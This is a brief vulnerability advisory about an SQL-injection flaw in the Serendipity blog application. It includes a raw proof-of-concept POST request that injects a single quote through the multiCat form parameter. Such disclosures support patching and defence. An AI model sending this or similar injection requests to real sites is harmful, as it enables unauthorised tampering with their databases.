source: http://www.securityfocus.com/bid/22774/info

Serendipity is affected by an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

POST /serendipity/index.php?frontpage HTTP/1.0 User-Agent: Mozilla/5.0 (SaMuschie) Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 67 Connection: close serendipity%5BmultiCat%5D%5B%5D='&serendipity%5BisMultiCat%5D=Go%21